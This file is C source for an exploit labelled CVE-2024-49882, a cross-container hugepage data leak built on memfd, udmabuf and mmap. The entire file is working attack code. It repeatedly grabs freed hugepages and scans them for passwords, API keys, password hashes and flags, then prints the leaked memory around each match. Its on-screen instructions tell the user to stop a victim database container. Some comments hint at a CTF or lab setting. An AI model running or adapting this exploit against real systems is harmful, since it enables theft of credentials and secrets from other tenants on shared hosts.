/* * exploit_debug.c - CVE-2024-49882 Cross-Container Data Channel * * This is the data channel component that leaks hugepage content * from other containers. Combined with CVE-2023-1206 sync channel * for coordinated covert communication. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define MFD_HUGETLB 0x0004U #define MFD_ALLOW_SEALING 0x0002U #define MFD_HUGE_2MB (21 << 26) #define F_ADD_SEALS 1033 #define F_SEAL_SHRINK 0x0002 #define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create) #define HUGEPAGE_SIZE (2*1024*1024) struct udmabuf_create { uint32_t memfd; uint32_t flags; uint64_t offset; uint64_t size; }; volatile int keep_running = 1; int total_secrets = 0; void handle_signal(int sig) { (void)sig; keep_running = 0; } const char *patterns[] = { "POSTGRES_PASSWORD", "CTF_FLAG", "FLAG{", "SECRET", "PASSWORD", "API_KEY", "sk-live", "postgres", "PGPASSWORD", "root:", "daemon:", ":$6$", ":$y$", "COVERT_MSG", "MAGIC_DATA", /* Our protocol patterns */ NULL }; void *leak_hugepage() { int memfd = syscall(319, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING); if (memfd < 0) return NULL; ftruncate(memfd, HUGEPAGE_SIZE); fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); int udmabuf = open("/dev/udmabuf", O_RDWR); if (udmabuf < 0) { close(memfd); return NULL; } struct udmabuf_create c = {memfd, 0, 0, HUGEPAGE_SIZE}; int dma = ioctl(udmabuf, UDMABUF_CREATE, &c); if (dma < 0) { close(udmabuf); close(memfd); return NULL; } void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma, 0); if (addr == MAP_FAILED) { close(dma); close(udmabuf); close(memfd); return NULL; } void *copy = malloc(HUGEPAGE_SIZE); if (copy) memcpy(copy, addr, HUGEPAGE_SIZE); munmap(addr, HUGEPAGE_SIZE); close(dma); close(udmabuf); close(memfd); return copy; } int check_page(void *data, int attempt) { unsigned char *p = data; int found = 0; /* Quick check for non-zero content */ int non_zero = 0; for (int i = 0; i < 10000; i += 100) { if (p[i] != 0) non_zero++; } if (non_zero < 10) return 0; /* Search patterns */ for (int i = 0; patterns[i]; i++) { char *match = memmem(data, HUGEPAGE_SIZE, patterns[i], strlen(patterns[i])); if (match) { size_t off = match - (char*)data; printf("\n\n"); printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n"); printf("🔥 CROSS-CONTAINER SECRET LEAKED! 🔥\n"); printf("🔥 Pattern: %-45s🔥\n", patterns[i]); printf("🔥 Attempt: %-5d Offset: 0x%-8zx 🔥\n", attempt, off); printf("🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥🔥\n\n"); /* Print surrounding content */ printf("--- Leaked Data ---\n"); size_t start = (off > 200) ? off - 200 : 0; size_t end = (off + 500 < HUGEPAGE_SIZE) ? off + 500 : HUGEPAGE_SIZE; for (size_t j = start; j < end; j++) { if (isprint(p[j]) || p[j] == '\n') putchar(p[j]); else if (p[j] != 0) putchar('.'); } printf("\n--- End ---\n\n"); found++; total_secrets++; } } return found; } void print_free_hugepages() { FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r"); if (f) { int free_hp = 0; if (fscanf(f, "%d", &free_hp) == 1) { printf("\r[*] Free hugepages: %-4d | Secrets found: %-4d | Press Ctrl+C to stop", free_hp, total_secrets); fflush(stdout); } fclose(f); } } int main() { printf("╔══════════════════════════════════════════════════════════════╗\n"); printf("║ CVE-2024-49882: Cross-Container Hugepage Data Channel ║\n"); printf("╚══════════════════════════════════════════════════════════════╝\n\n"); printf("INSTRUCTIONS:\n"); printf("1. This exploit runs continuously, watching for freed hugepages\n"); printf("2. In another terminal, STOP the victim container:\n"); printf(" sudo docker stop victim_db\n"); printf("3. Watch this terminal - it should catch secrets!\n"); printf("4. Press Ctrl+C to stop\n\n"); signal(SIGINT, handle_signal); printf("[*] Starting continuous leak monitoring...\n\n"); int attempt = 0; int last_free = -1; while (keep_running) { /* Check if free hugepages changed (indicates release!) */ FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r"); int free_hp = 0; if (f) { if (fscanf(f, "%d", &free_hp) != 1) free_hp = 0; fclose(f); } if (free_hp != last_free) { if (last_free != -1 && free_hp > last_free) { printf("\n\n[!] HUGEPAGES RELEASED! %d -> %d (grabbing them now!)\n\n", last_free, free_hp); /* Aggressive leak when pages are released */ for (int i = 0; i < 100 && keep_running; i++) { void *data = leak_hugepage(); if (data) { check_page(data, attempt++); free(data); } } } last_free = free_hp; } /* Normal leak attempt */ void *data = leak_hugepage(); if (data) { check_page(data, attempt++); free(data); } if (attempt % 100 == 0) { print_free_hugepages(); } usleep(1000); /* 1ms between attempts */ } printf("\n\n"); printf("╔══════════════════════════════════════════════════════════════╗\n"); printf("║ RESULTS: Found %d secrets ║\n", total_secrets); printf("╚══════════════════════════════════════════════════════════════╝\n"); return (total_secrets > 0) ? 0 : 1; }